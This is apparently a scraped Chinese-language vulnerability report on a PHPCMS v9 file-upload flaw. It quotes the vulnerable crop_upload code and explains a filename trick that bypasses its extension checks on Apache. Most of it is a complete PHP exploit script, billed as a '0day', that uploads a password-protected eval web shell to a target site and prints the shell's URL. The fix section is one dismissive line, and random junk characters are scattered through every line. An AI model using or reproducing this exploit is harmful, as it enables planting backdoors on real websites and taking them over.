漏洞类型: 文件上传导致任意代码执行
2 t/ Q, |" U9 [% a$ r3 u2 N2 l. j, E$ b8 B/ @6 G6 |9 y
简要描述:) |/ Y8 p7 i. Z9 v' B2 J0 ^
2 D/ g+ t% P" M* Q* k' Z+ a4 s$ F- Xphpcms v9 getshell (apache)
& p4 }/ K7 @& V% M7 m) }详细说明:
# k1 k: b* ~. o4 S- F$ X1 @
+ _; h6 Y/ } D漏洞文件:phpcms\modules\attachment\attachments.php4 O6 F, ^- }, ]( P, n! R
1 h- w+ g- E1 k( Q S! C# u6 ~
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } } 6 y# g* H) X7 z2 G/ n3 h" [0 q
后缀检测:phpcms\modules\attachment\functions\global.func.php. k; V0 o9 b) Z# A2 G
* y9 i8 l2 ^: S
7 Y" B+ A5 B. Y+ g. |1 {
* ], P5 l+ U1 F F8 l) j l
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; } / Y: N* Z% l$ V; r3 N: b
6 {0 |! H! V( L. B7 P
关键函数:
6 H4 y; a1 K7 b4 f" {' c: A$ f9 Q8 n6 W8 l( Q; G5 y
$ t# c; i# |9 l" M
+ T9 m3 r5 B! f9 ~2 Q, H
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); } ' N2 }4 ^( }9 e% h# N
1 F; {5 E, c q: j! {4 Q" T$ a, d
Fileext函数是对文件后缀名的提取。5 a9 W3 y J" T. @
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php$ g3 Y5 Y1 X# x
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
l* c( r" c0 S$ Z我们回到public function crop_upload() 函数中
! }' h6 H; j0 b6 |$ B0 aif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
4 |2 i0 [% W' j' {. d9 z在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
" l, [) c+ Z# F: H e这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
- e& S, g; A6 a" G经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。. p e4 h8 l, P4 p+ h2 B, ^
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
) H# n6 Q4 p* }1 D7 J$ |看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。% L0 A# K% c2 }1 Y8 ?% W- i+ B
漏洞证明:4 b+ \. O( C8 p2 l7 x- W; B" P
8 ~/ u) x- p, ~! o9 t& X: nexp:
# L& X# w! V( o6 s* C9 E" k( t
7 S$ c* f9 {' k) c" j<?php% [" {9 m) I: t' f4 G2 q! z. ]
error_reporting(E_ERROR);' Q! ]/ S$ J5 T( |3 ?
set_time_limit(0);; K+ e0 ?4 i1 a+ U
$pass="ln";! j4 h. E* [; {# V& q; v: ^
print_r('+ _1 J( w& Q: y$ Q
+---------------------------------------------------------------------------+
2 w. P9 A# H+ p: JPHPCms V9 GETSHELL 0DAY : A0 ?' E' O0 Y- Q* x: m! }
code by L.N.
% @4 V9 B: A+ @5 T5 v# n! j
9 h- i" N/ v( _7 v5 _, A( X1 I3 Oapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
9 i$ ]# D7 z; M+ a+---------------------------------------------------------------------------+
: f0 Y( I/ ^: L" Z3 z0 t');6 t9 J! x) b, @
if ($argc < 2) {
' r# r" B- Q S' ~+ mprint_r('# C* @( j, ^4 V( N c' M8 ~
+---------------------------------------------------------------------------+6 O2 l' w! P8 \2 _) z
Usage: php '.$argv[0].' url path5 t/ E& s5 O- E' P7 [
r- F% A2 l: D2 `
Example:
8 N/ _* y2 V. F+ |! r% ]0 ], @, Y1.php '.$argv[0].' lanu.sinaapp.com! D# i- e. F( W6 a g4 g( O7 ^
2.php '.$argv[0].' lanu.sinaapp.com /phpcms4 c; J5 p( Q: m' D1 |" ?9 ?) V
+---------------------------------------------------------------------------+
* r2 n6 A. G' k');
- F/ w" }6 D% T: K$ x& u+ i: Mexit;5 L2 n8 M3 R5 X
}
2 ~- a8 X: ~9 A$ j! ~
( v6 N; f" ^2 }2 d( B* R) x7 ^$url = $argv[1];
6 ~8 |! |5 @/ B1 ~1 M; Z$ h* R3 c$path = $argv[2];
+ X# U* n+ R3 y M6 J/ R/ a$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';. ~9 ]# y/ v: ~+ ?4 W. T" s) s
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';" c6 O5 ?/ K4 J. S& F
if($ret=Create_dir($url,$path))
( T" L; {9 L! h6 ^{/ A X5 W# E" t8 r" c4 l2 O
//echo $ret;
$ L0 I. `' V+ P6 f; a$pattern = "|Server:[^,]+?|U";/ M( ~& j1 I/ `- m. Q6 p
preg_match_all($pattern, $ret, $matches);2 p) i; B: d8 `5 _5 M
if($matches[0][0])* h2 w- C9 r" Z B* V5 l
{
. O% P* G$ X3 b" B3 Dif(strpos($matches[0][0],'Apache') == false)
( s: X9 c; l9 H2 A% V8 f{" z0 r' h) x m8 {& L
echo "\n亲!此网站不是apache的网站。\n";exit;' n. p. V$ D0 e8 j4 W
}2 K0 `6 O- d/ N
}' T' j: t# ]7 y' H! S% J
$ret = GetShell($url,$phpshell,$path,$file);7 g2 |0 i/ c3 K+ Q ^
$pattern = "|http:\/\/[^,]+?\.,?|U";
# s" e( t# S7 T \% |% J. Zpreg_match_all($pattern, $ret, $matches);
% f. w; l8 t' k+ Eif($matches[0][0])
3 T$ @- a% d' H{( ]' s$ U8 ~4 S) i: e Y
echo "\n".'密码为: '.$pass."\n";6 m) o, b4 v" u: A8 L0 C& j
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
: X6 y0 e( B; Z# n7 R}+ \! f. p/ S. h; D: m
else
2 Q* m8 i. b) v/ |8 c7 \{3 \: O' }; k. H; W
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";* v, X$ i @0 m( M' X7 S5 [' C
preg_match_all($pattern, $ret, $matches);
: \0 w0 V9 |$ a+ ]9 o1 A- Gif($matches[0][0])% K0 K4 `- {9 a: @: @. b
{/ }! p$ u0 e% ^3 s7 W
echo "\n".'密码为: '.$pass."\n";7 [0 O9 H+ n. z) Q, F# X; r
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;7 ]: a* C+ T7 [/ G) L
}/ O$ ]5 ^& d. |7 a
else; L9 y0 k6 E1 a/ [6 \7 A
{ s! u0 z+ R# r" b
echo "\r\n没得到!\n";exit;
6 R% Z( m2 ]6 K1 y% U}' N5 h( E0 i, A8 r! x8 @$ E
}
, [4 b2 n {; v+ r}
4 R2 F6 y/ `# X, A0 [. ?! | T1 ~# ^9 R
function GetShell($url,$shell,$path,$js) p8 @( R. l0 S5 C% z4 X
{8 W: z% k$ R+ o q2 X% k
$content =$shell;
; K8 v7 I# I! w, t+ A7 J$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";: o; H) X# C% x* c2 g+ i
$data .= "Host: ".$url."\r\n";
6 b- w# W. B, P1 Z; [ O, ~" f5 ]$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";9 k% w2 u; w2 r7 @
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";9 r" ]8 Z6 T+ t- @
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";% w" ^+ Y; A8 f9 M" D1 X
$data .= "Connection: close\r\n";
8 w" ?" Y3 U/ H, y8 d3 E$ Y$data .= "Content-Length: ".strlen($content)."\r\n\r\n";) M. H6 p0 k: E# M c
$data .= $content."\r\n";
) x6 m! l: J5 b* J7 r$ock=fsockopen($url,80);
4 x2 t, A; [+ R- [& Sif (!$ock)- V5 l3 L; n+ S N& I
{8 v1 r8 H7 _9 E; F% f8 i
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
9 c8 Q$ O' \# r}
8 r3 Y5 F1 t8 ?7 N& L( `4 zelse% R1 T* ]. t( W) j# w7 j0 o
{
& C$ _4 v1 A: _# @/ n4 O. N- f8 Mfwrite($ock,$data);
8 ?6 Y) [: N; Z7 B; ~$resp = '';$ Y0 S- J2 u1 r9 ~5 ~# N8 i
while (!feof($ock))
( {0 [2 a8 d' G8 \: J' c{
: a0 A, `/ |% l Y8 H$resp.=fread($ock, 1024);
) F. W- N1 g" O) }0 F3 r0 c}1 s- Y3 j, G; J4 @& C9 l4 b/ W( `
return $resp;
4 t2 Z7 e0 S6 X$ z) f}
2 w+ _& B( \5 k, H}. I7 U* ^1 k7 _6 p+ D. N
/ y3 B# o; o) U5 P6 t6 I- t
function Create_dir($url,$path='') K2 c6 ?# `, l" }$ s! H( }
{
; _) ^7 a2 V( i) [$content ='I love you'; [9 L D! t6 D" S/ `$ u
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
( b6 m- ]; r8 U2 F& r. L$data .= "Host: ".$url."\r\n";
7 }& f! x4 i* L4 [+ Z ^2 }$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";2 ?, Y' i- e, e
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$ D) n( i- W( j5 J. n$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n"; i( ]- I, t. {7 ^8 W
$data .= "Connection: close\r\n";+ r0 O* |' R, h" b/ Q
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";; r# E Q' K/ Z. t0 D$ N5 f5 }
$data .= $content."\r\n";- C' U, y! @5 ~8 v! u$ I6 K
$ock=fsockopen($url,80);
0 ]$ ^2 g4 p e9 ?* P" @if (!$ock)
; [. P. j0 R/ J& l* E2 }{' x! z- n F# \% w
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;& M5 E: ^5 e1 l
}
0 t1 f- t, W" n! Mfwrite($ock,$data);
( L0 F- j( s4 y- t; r5 |3 x$ O$resp = '';
! U# N' N5 O* R0 Swhile (!feof($ock))6 n. q3 w- F7 q. o
{
) B7 j. T& M3 y p$ ~ j0 [$resp.=fread($ock, 1024);
0 @8 G2 g: y% l8 y: A}
- _+ J9 C- k% ]. V) S- o! i, zreturn $resp;7 n; p9 E1 W& L( _- R, N( [
}2 o+ [/ C; \: G! ]
?> : L( W( Z0 f( B+ a/ d7 c
7 @8 L3 X. i- x, V7 [
修复方案:
8 ~. P$ m! O2 x2 q0 ]
) O9 I1 a6 H8 j. a/ h过滤过滤再过滤- @7 M- }0 H& P! m4 O+ p0 b
& w$ Y3 w& a+ J* r4 ~. S
|